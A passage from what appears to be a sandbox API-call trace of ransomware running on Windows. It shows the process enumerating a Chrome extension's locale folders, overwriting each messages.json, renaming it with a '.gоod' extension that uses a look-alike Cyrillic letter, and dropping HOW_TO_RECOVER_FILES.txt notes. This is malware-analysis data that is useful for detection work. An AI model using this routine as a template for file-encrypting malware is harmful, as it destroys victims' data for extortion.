dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0254.635] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553b860f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553bac88, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0254.636] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0254.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0254.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0254.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", lpFilePart=0x0) returned 0x89 [0254.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0254.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3b06180 | out: lpFileInformation=0x3b06180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553b860f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553bac88, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1 [0254.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0254.636] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", lpFilePart=0x0) returned 0x89 [0254.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0254.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0254.636] GetFileType (hFile=0x824) returned 0x1 [0254.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0254.636] GetFileType (hFile=0x824) returned 0x1 [0254.636] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xde [0254.636] ReadFile (in: hFile=0x824, lpBuffer=0x3b06618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x3b06618*, lpNumberOfBytesRead=0x1f6e7648*=0xde, lpOverlapped=0x0) returned 1 [0254.637] CloseHandle (hObject=0x824) returned 1 [0257.353] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", lpFilePart=0x0) returned 0x89 [0257.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0257.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0257.353] GetFileType (hFile=0x858) returned 0x1 [0257.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0257.354] GetFileType (hFile=0x858) returned 0x1 [0257.354] WriteFile (in: hFile=0x858, lpBuffer=0x4152160*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x4152160*, lpNumberOfBytesWritten=0x1f6e7558*=0xe0, lpOverlapped=0x0) returned 1 [0257.354] CloseHandle (hObject=0x858) returned 1 [0257.354] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json", lpFilePart=0x0) returned 0x89 [0257.354] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0257.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0257.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553b860f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553bac88, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x959c8ba2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0257.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0257.354] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json.gоod")) returned 1 [0257.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0257.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0257.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0257.356] GetFileType (hFile=0x858) returned 0x1 [0257.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0257.356] GetFileType (hFile=0x858) returned 0x1 [0257.357] WriteFile (in: hFile=0x858, lpBuffer=0x4155ac8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x4155ac8*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0257.357] CloseHandle (hObject=0x858) returned 1 [0257.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0257.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpFilePart=0x0) returned 0x7b [0257.358] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553c2245, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c7077, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553c7077, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0257.358] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553c2245, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c7077, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553c7077, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.358] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553c7077, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c6fd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0257.359] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0257.359] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0257.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0257.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0257.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0257.359] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpFilePart=0x0) returned 0x7b [0257.359] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553c2245, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c7077, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553c7077, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0257.359] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553c2245, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c7077, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x553c7077, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.359] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553c7077, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c6fd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0257.359] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553c7077, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c6fd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0257.360] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0257.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0257.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0257.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", lpFilePart=0x0) returned 0x89 [0257.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0257.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x4165a98 | out: lpFileInformation=0x4165a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553c7077, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c6fd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5573b43c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0257.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0257.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", lpFilePart=0x0) returned 0x89 [0257.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0257.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0257.360] GetFileType (hFile=0x858) returned 0x1 [0257.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0257.360] GetFileType (hFile=0x858) returned 0x1 [0257.360] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0x110 [0257.361] ReadFile (in: hFile=0x858, lpBuffer=0x4165f60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x4165f60*, lpNumberOfBytesRead=0x1f6e7648*=0x110, lpOverlapped=0x0) returned 1 [0257.361] CloseHandle (hObject=0x858) returned 1 [0257.466] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", lpFilePart=0x0) returned 0x89 [0257.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0257.466] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.467] GetFileType (hFile=0x808) returned 0x1 [0257.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0257.467] GetFileType (hFile=0x808) returned 0x1 [0257.467] WriteFile (in: hFile=0x808, lpBuffer=0x3c201e8*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3c201e8*, lpNumberOfBytesWritten=0x1f6e7558*=0x120, lpOverlapped=0x0) returned 1 [0257.467] CloseHandle (hObject=0x808) returned 1 [0257.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json", lpFilePart=0x0) returned 0x89 [0257.468] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0257.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0257.468] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553c7077, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x553c6fd8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x95ad3237, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0257.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0257.468] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.gоod")) returned 1 [0257.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0257.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0257.469] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0257.469] GetFileType (hFile=0x808) returned 0x1 [0257.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0257.469] GetFileType (hFile=0x808) returned 0x1 [0257.470] WriteFile (in: hFile=0x808, lpBuffer=0x3c23b20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3c23b20*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0257.470] CloseHandle (hObject=0x808) returned 1 [0257.471] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0257.471] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User 